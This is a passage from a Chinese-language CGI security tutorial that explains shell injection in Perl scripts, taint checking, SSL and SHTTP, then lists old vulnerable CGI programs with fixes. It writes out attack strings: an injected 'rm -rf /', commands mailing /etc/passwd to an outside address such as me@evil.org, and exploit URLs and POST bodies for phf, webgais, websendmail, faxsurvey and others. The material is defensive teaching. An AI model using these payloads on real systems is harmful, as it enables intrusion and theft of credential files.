這次，如果你使用前述相同的輸入，將派生出一個shell,它將嘗試這樣執行:
/usr/bin/finger nobody@nowhere.org \: /bin/rm -rf /
這樣,那個惡意的企圖將無法生效.它不再試圖刪除系統中所有的目錄,而是嘗試finger用戶
nobody@nowhere.org,:,/bin/rm,-rf和 /。由面的字符組合未必是你的系統中的用戶，
因此可能會返回一個錯誤。
記住幾個問題。首先，如果你的Web服務器正確的配置了（例如，以非root身份運行），那
，刪除文件系統中的所有內容的企圖不會成功。(如果服務器以root身份運行，那潛在的
危害將是不可估量的。千萬不要這樣做!)另外，用戶還假定rm命令在/bin目錄中。他或她假
定了rm在這個路徑中。然而，所有這些只是對大多數的Unix系統的樂觀的假設，並不是完全
適用的。在一個chrooted系統環境中，這個目錄中並沒有rm命令。那hacker的努力將是徒
勞的。從理論上說，通過安全防范和正確配置你的Web服務器,你可以將潛在的危
害降低到幾乎為0，即使是書寫了糟糕的腳本。
然而，你沒有理由在編寫CGI程序時可以掉以輕心。事實上，大多數的Web環境並不是chro
oted的，僅僅是因為它禁止了很多人需要在Web服務器中需要的靈活性。即使服務器不是以r
oot身份運行，用戶不能將文件系統中的文件全部刪除，一些人可以僅僅通過如下的輸入，將
/etc/passwd文件寄給me@evil.org作為可能的攻擊途徑：
nobody@nowhere.org ; /bin/mail me@evil.org < /etc/passwd
我可以通過操縱這個漏洞來幹很多事情，即使是在一個配置良好的環境中。如果你在一個
簡單的CGI程序中容許一個漏洞從你的身邊溜過，你怎能肯定你正確並安全的配置了你復雜
的Unix系統和Web服務器？
答案是你不能。你最好打賭弄清楚你的CGI程序是安全的。在shell中運行它之前不輕易接
受輸入是很容易對付的事情,它還是CGI編程中最常見的問題之一。
幸運的是，Perl擁有一個捕捉潛在感染的變量的很好的機制。如果你使用taintperl而不是
Perl(或者perl -T，如果你使用Perl 5),腳本將在潛在感染的變量傳遞給shell命令處中止。
這將幫助你在開始實際使用CGI程序時捕捉到所有的潛在感染的變量的例子。
注意到Perl擁有比C更多的派生shell的函數。這並不是顯而易見的，即使是對中級的Pe
rl程序員，在執行程序前向標記派生出一個shell。這是高級語言的風險抉擇；因為你不是
很明確地知道它做什，所以你並不清楚一個函數會產生怎樣的安全漏洞。
如果你避免了使用調用shell的函數，那你不需要刪除敏感的輸入。在Perl語言中,你可
以通過使用system()或者exec()函數來封裝每一個參數。例如，如下的調用很安全的$input
:
system("/usr/ucb/finger",$input{'username'});
然而，在你的finger gateway的情況下，這個特點是毫無用處的，因為你要處理finger命
令的輸出，這個，除了你使用system函數外沒有方法可以捕獲。
在C語言中，你也可以通過使用exec一類的函數來直接執行程序：exev(),exec1(),execvp(
),execlp(),和execle()。exec1()在C語言中等價Perl中的system()函數。你使用哪一個e
xec函數以及如何使之按你的需要執行：這些細節已經超出了本書的范圍。
3.安全處理
我前面簡要討論的只是安全問題的一個方面。現在流行的CGI應用程序傾向收集信用卡信
息。數據收集是CGI應用程序的一個簡單的任務，但是敏感信息的收集需要一個將信息從瀏覽
器傳送給服務器和CGI程序的安全途徑。
舉個例子，假設我要通過Internet來銷售書。我可能在瀏覽器上建立一個表單，允許要購
書的顧客通過表單提交它的個人信息和信用卡號碼。受到這些信息，我會將它們存儲到我
的計算機作為商業記錄。
如果有人侵入我的商業計算機，那他可能會訪問存放顧客信息和信用卡號碼的機密數據
。為了避免這種情況，我會審查我的計算機配置安全了，並確定用來接受表單的CGI腳本不會
被惡意的操縱。換句話說，我，作為計算機的系統管理員和CGI程序員，要盡力控制住第一個
問題：防止信息直接從我的計算機中被竊取。
然而，怎樣防止當信息由客戶端發往服務器過程中有人中途竊取呢？記住信息怎樣由Web服
務器傳送到CGI程序了嗎？信息通過網絡由瀏覽器先傳送到服務器，然服務器將信息傳送給
CGI程序。這些信息可能在由客戶機傳送到服務器時被中途竊取(如圖2)。注意，為了保護信
息使其不會被中途竊取，必須在客戶和服務器之間進行加密。當然，如果你的客戶機不能識
別的話，你不能執行特定CGI的加密。
_______________ ______________
| 瀏覽器 | 表單輸入 | |
|(用戶提交表單; |>| |
|瀏覽器將其以通 |<| 服務器 |
|常文本發送出去)| 分析CGI輸出 | |
--------------- | | --------------
| | 表 || /\CGI
不懷好意的hacker 單 || ||輸
輸 || ||出
入 || ||
\/ ||
_____________
| |
| CGI |
| |
-------------
(圖2)
更多的：Java，CGI和安全處理
由Web處理的特點，使用你獨有的單獨通過CGI程序實現的安全處理協議的唯一途徑是:在
表單信息通過瀏覽器傳送到服務器之前將其加密。這個方案如圖3。
_______________ ______________
| 瀏覽器 | 加密表單輸入 | |
| 用戶提交表單; |>| |
|瀏覽器將輸入加 |<| 服務器 |
|密,發送加密信息| 分析CGI輸出 | |
--------------- | | --------------
| | 加 || /\CGI
阻止 修補 密 || ||輸
惡意 再次 輸 || ||出
hacker 阻止 入 || ||(解密)
\/ ||
_____________
| CGI |
|解密處理輸入,|
| 發出響應。 |
-------------
(圖3)
之前，發展你自己的安全處理協議幾乎是不可能的。感謝Java這樣的語言,最近在客戶端處
理所作的創新，使得這個發展變成可能。
方法是產生一個標準HTML格式擴展的Java接口。當Java的提交按鈕被選擇時，Java Apple
t會在利用標準的POST HTTP請求將它發送到Web服務器前先將值加密
(參照圖4)
Web瀏覽器
_______________ ______________
| JAVA APPLET | 加密數據 | |
| 表單;用戶提交 |>| |
|數據,APPLET加密|<| 服務器 |
|數據,發給服務器| CGI輸出 | |
--------------- --------------
加 || /\CGI
密 || ||輸
數 || ||出
據 || ||
\/ ||
________________
| CGI |
|使用與APPLET相同|
|方案解密數據並處|
|理,發出解密響應.|
----------------
(圖4)
使用Java作為客戶機來發送和接收加密的數據將允許你使用自己定制的加密方案，而不需
要一個昂貴的商業服務器。
因此，在網絡上安全保密地傳送數據信息需要調整瀏覽器和服務器之間的通信路徑，有一些
是不能僅僅靠CGI就能夠控制的。目前有兩種加密客戶機/服務器信息處理的建議：SSL(Secu
re Sockets Layer)和SHTTP(Secure HTTP),分別由Netscape和EIT(Enterprise Integration
s Technology)提議。關這點，目前還不清楚哪一個將成為標準；很多公司在他們的服務器
中兩種都採用了。因此，知道如何在這兩者中編寫CGI程序是很有用的。
3-1.SSL
SSL是一個協議獨立的加密方案，在網絡信息包的應用層和傳輸層之間提供了安全的通道(
參照圖5)。簡單說來，就是HTML或CGI經過了幕的服務器進行了加密處理，然而對HTML和C
GI的作者來說是透明的。
_______________ ____________________
| 瀏覽器 | 傳輸層加密數據 | 服務器 |
|(發出標準的HTTP |>|(解密數據;解釋成標準|
| 請求) |<|請求並發出標準響應) |
---------------- 傳輸層加密數據 --------------------
(圖5)
因為客戶端和服務器端網絡程序處理加密過程，幾乎你的所有的CGI腳本不需要進行安全事
務的修正。有一個顯的例外。一個nph(no-parse-header)的CGI程序繞過服務器而直接與客
戶端進行通信。因此，nph的CGI腳本不會經過加密處理，因為信息未得到加密。受此影響的
一個值得注意的CGI應用程序是Netscape服務器推動的動態實現(Netscape server-push ani
mations)。我懷疑這是主要應該值得注意的，然而，更有可能因為要安全的傳輸敏感信息而
犧牲頁面中的動畫。
3-2.SHTTP
SHTTP採用一種和SSL不同的方法。它通過擴展HTTP協議(應用層)來運作，優一個較低層
。因此，盡管SSL可以應用所有的網絡服務，然而SHTTP是一個特定的Web協議。
另外，還有其它的優點。作為HTTP的擴展集，SHTTP全兼容HTTP和SHTTP的瀏覽器和服務
器。為了使用SSL,你必須有一個支持SSL的瀏覽器和服務器。另外，SHTTP是一個更靈活的協
議。例如，這個服務器可以指定首選的加密方案。
SHTTP處理依賴附加的HTTP頭。因此，如果你想讓你的CGI程序採用SHTTP的加密處理，你
需要包含適當的頭。例如，替換簡單返回HTTP頭。
Content-type:text/html
當一個SHTTP服務器從CGI應用程序中收到這個信息，它會知道在將其發送到瀏覽器之前將
信息加密。一個非SHTTP的瀏覽器將忽略附加的頭。
關使用SHTTP的更多的信息，請參照SHTTP的說明書:
http://www.commerce.net/information/standards/drafts/shttp.txt
4.概要
安全是你在處理網絡應用程序(例如WWW)中不可避免的一件事。如果你的Web服務器沒有安
全的配置，那編寫安全的CGI應用程序就不是非常有用的了。一個正確配置的Web服務器，
從另一方面講，可以最小限度的減少因為糟糕的CGI腳本而帶來的損害。
大體上，我們應該記住下面的原則：
A.你的程序應當只能提供你指定的服務。
B.不到必要的時候不暴露任何有關你的服務器的信息。
C.如果有人成功的闖入你的系統，應最小限度的減少損害。
D.確定你的應用程序是安全可靠並且嚴密的。
當你編寫CGI程序時，要特別注意你的編程語言的局限性(或不足)以及傳遞給shell的不確
定的變量。
5 常見CGI安全問題
5.1
類型： 攻擊型
名字： phf
風險等級： 中
描述： 在NCSA 或者 Apache (1.1.1版本以內)非商業版本的Web Server中有一段程序util.
c,允許黑客以root身份執行任何一個指令:
http://www.xxx.com/cgi-bin/phf?Qname=root%0Asome%20command%20here
建議：
解決方法： 把Apache web server升級到1.1.1以上，或者將NCSA web server升級到最新版
本
5.2
類型： 攻擊型
名字： wguset.exe
風險等級： 中
描述： 如果您使用NT做為您的WebServer的操作系統，而且wguest.exe存在您的Web可執行
目錄中的話，入侵者將能利用它閱讀到您的硬盤上所有USR_<hostname>用戶能閱讀的文件
建議： 將wguset.exe從你的Web目錄移走或刪除
解決方法： 將wguset.exe從你的Web目錄移走或刪除
5.3
類型： 攻擊型
名字： rguset.exe
風險等級： 中
描述： 如果您使用NT做為您的WebServer的操作系統，而且rguest.exe存在您的Web可執行
目錄中的話，入侵者將能利用它閱讀到您的硬盤上所有USR_<hostname>用戶能閱讀的文件
建議： 將rguset.exe從你的Web目錄移走或刪除
解決方法： 將rguset.exe從你的Web目錄移走或刪除
5.4
類型： 攻擊型
名字： perl.exe
風險等級： 低
描述： 在cgi-bin執行目錄下存在perl.exe,這屬嚴重的配置錯誤。黑客可以在perl.exe
面加一串指令，利用瀏覽器在server上執行任何腳本程序
建議： perl.exe是放在任何帶執行權限的web目錄下都是不安全的
解決方法： 在web目錄下移除perl.exe這個程序.
5.5
類型： 攻擊型
名字： shtml.exe
風險等級： 低
描述： 如果您使用Front Page作為您的WebServer，那入侵者能夠利用IUSR_<lt;hostnam
e>用戶和shtml.exe入侵您的機器，做您不希望的事
建議： 將shtml.exe從你的Web目錄移走或刪除
解決方法： 將shtml.exe從你的Web目錄移走或刪除
5.6
類型： 攻擊型
名字： wwwboard.pl
風險等級： 低
描述： wwwboard.pl程序容易引起攻擊者對服務器進行D.O.S攻擊
建議： 如無必要可以刪除該文件
解決方法： 對get_variables的子程序中的下面這段:
if ($FORM{'followup'}) { $followup = "1";
@followup_num = split(/,/,$FORM{'followup'});
$num_followups = @followups = @followup_num;
$last_message = pop(@followups);
$origdate = "$FORM{'origdate'}";
$origname = "$FORM{'origname'}";
$origsubject = "$FORM{'origsubject'}"; }
替換為:
if ($FORM{'followup'}) {
$followup = "1";
@followup_num = split(/,/,$FORM{'followup'});
$num_followups = @followups = @followup_num;
$last_message = pop(@followups);
$origdate = "$FORM{'origdate'}";
$origname = "$FORM{'origname'}";
$origsubject = "$FORM{'origsubject'}";
# WWWBoard Bomb Patch
# Written By: Samuel Sparling sparling@slip.net}
$fn=0;
while($fn < $num_followups)
{
$cur_fup = @followups $fn};
$dfn=0;
foreach $fm(@followups)
{
if(@followups[$dfn] == @followups[$fn] && $dfn != $fn)
{
&error(board_bomb);
}
$dfn++;
}
$fn++;
}
# End WWWBoard Bomb Patch
}
5. 7
類型： 攻擊型
名字： uploader.exe
風險等級： 中
描述： 如果您使用NT作為您的WebServer的操作系統,入侵者能夠利用uploader.exe上傳任何
文件
建議： 將uploader.exe從你的Web目錄移走或刪除
解決方法： 將uploader.exe從你的Web目錄移走或刪除
5.8
類型： 攻擊型
名字： bdir.htr
風險等級： 高
描述： 如果您使用NT做為您的WebServer的操作系統，而且bdir.htr存在您的Web可執行目
錄中的話，入侵者將能利用它在您的服務器上無止境的創建ODBC數據庫，並生成一些可執行
的文件。
建議： 將bdir.htr從你的Web目錄移走或刪除
解決方法： 將bdir.htr從你的Web目錄移走或刪除
5.9
類型： 攻擊型
名字： Count.cgi
風險等級： 高
描述： 在/cgi-bin目錄下的Count.cgi程序(wwwcount2.3版本)有一個溢出錯誤,允許入侵者
無須登錄而遠程執行任何指令.
建議： 如無必要可以刪除該文件
解決方法： 將wwwcount升級到2.4或者以上
5.10
類型： 攻擊型
名字： test-cgi
風險等級： 高
描述： test-cgi這個文件可以被入侵者用來瀏覽服務器上的重要信息
建議： 建議審核cgi-bin目錄下的執行程序，嚴格控制訪問權限
解決方法： 刪除test-cgi文件
5.11
類型： 攻擊型
名字： nph-test-cgi
風險等級： 高
描述： nph-test-cgi這個文件可以被入侵者用來瀏覽服務器上的重要信息
建議： 建議審核cgi-bin目錄下的執行程序，嚴格控制訪問權限
解決方法： 刪除nph-test-cgi文件
5.12
類型： 攻擊型
名字： php.cgi
風險等級： 低
描述： php.cgi程序有較多的漏洞，包括緩存溢出漏洞，還有導致任何系統文件可以被入侵
者讀取的漏洞
建議： 建議審核cgi-bin目錄，避免有不必要的程序存在
解決方法： 刪除php.cgi程序是最好的辦法
5.13
類型： 攻擊型
名字： handler
風險等級： 低
描述： IRIX 5.3, 6.2, 6.3, 6.4的/cgi-bin/handler程序存在緩存溢出錯誤，允許入侵者
在server上遠程執行一段程序:
telnet target.machine.com 80
GET /cgi-bin/handler/whatever;cat /etc/passwd| ?data=Download
HTTP/1.0
建議： 建議審核cgi-bin目錄，避免有不必要的程序存在
解決方法： 刪除handler文件
5.14
類型： 攻擊型
名字： webgais
風險等級： 高
描述： /cgi-bin，目錄下的webgais是GAIS搜索工具的一個接口,它有一個毛病使入侵者可以
繞過程序的安全機制，執行系統命令:
POST /cgi-bin/webgais HTTP/1.0
Content-length: 85 (replace this with the actual length of the "exploit" line)
telnet target.machine.com 80
query=';mail+you\@your.host</etc/passwd;echo'&output=subject&domain=paragraph
建議： 建議審核cgi-bin目錄，避免有不必要的程序存在
解決方法： 刪除webgais文件
5.15
類型： 攻擊型
名字： websendmail
風險等級： 高
描述： /cgin-bin目錄下的websendmail程序允許入侵者執行一個系統指令:
telnet target.machine.com 80
POST /cgi-bin/websendmail HTTP/1.0
Content-length: xxx (should be replaced with the actual length of the string pas
sed to the server, in this case xxx=90)
receiver=;mail+your_address\@somewhere.org</etc/passwd;&sender=a&rtnaddr=a&subje
ct=a
&content=a
建議： 建議審核cgi-bin目錄，避免有不必要的程序存在
解決方法： 高級用戶:編輯websendmail腳本,過濾特殊字符
一般用戶:刪除websendmail文件
5.16
類型： 攻擊型
名字： webdist.cgi
風險等級： 高
描述： 對Irix6.2和6.3平台,/cgi-bin目錄下的webdist.cgi有一個弱點允許入侵者無須登
錄而在系統上執行任何指令:
http://host/cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd
建議： 建議審核cgi-bin目錄，避免有不必要的程序存在
解決方法： 刪除/var/www/cgi-bin/webdist.cgi目錄下的webdist.cgi
5.17
類型： 攻擊型
名字： faxsurvey
風險等級： 高
描述： 在Linux S.u.S.E上/cgi-bin目錄下的faxsurvey程序允許入侵者無須登錄就能在服務
器執行指令:
http://joepc.linux.elsewhere.org/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd
建議： 建議審核cgi-bin目錄，避免有不必要的程序存在
解決方法： 刪除/cgi-bin/faxsurvey文件
5.18
類型： 攻擊型
名字： htmlscript
風險等級： 中
描述： 安裝了htmlscript2.99x或者更早版本的服務器，存在一個毛病使入侵者可以查看服
務器上的任何文件:
http://www.vulnerable.server.com/cgi-bin/htmlscript?../../../../etc/passwd
建議： 建議審核cgi-bin目錄，避免有不必要的程序存在
解決方法： 刪除/cgi-bin/htmlscript腳本文件,或者將htmlscript升級到3。0以上
5.19
類型： 攻擊型
名字： pfdisplay
風險等級： 中
描述： 在Irix6.4或者更早版本的web服務器上，/cgi-bin/pfdisplay程序允許入侵者非法查
看服務器上的文件
建議： 建議審核cgi-bin目錄，避免有不必要的程序存在
解決方法： 刪除/cgi-bin/pfdisplay文件,或者打補丁
補丁可以去sgigate.sgi.com (204.94.209.1) 或者ftp.sgi.com下載:
Filename: README.patch.3018
Algorithm #1 (sum -r): 37955 11 README.patch.3018
Algorithm #2 (sum): 15455 11 README.patch.3018
MD5 checksum: 1169EB51D75E0794C64C2C1FD6211B69
Filename: patchSG0003018
Algorithm #1 (sum -r): 01679 2 patchSG0003018
Algorithm #2 (sum): 12876 2 patchSG0003018
MD5 checksum: BD16A53A0AE693D6E9E276EE066BDBC8
Filename: patchSG0003018.idb
Algorithm #1 (sum -r): 01339 2 patchSG0003018.idb
Algorithm #2 (sum): 251 2 patchSG0003018.idb
MD5 checksum: 1CB16E6A8C50BF17CD02A29C2E
(http://www.fanqiang.com)
進入【UNIX論壇】
|
|
| 相關文章 |
CGI安全漏洞資料速查 v1.0 (2001-04-19 16:27:16)
|
|
|
|
|
★ 樊強制作 歡迎分享 ★ |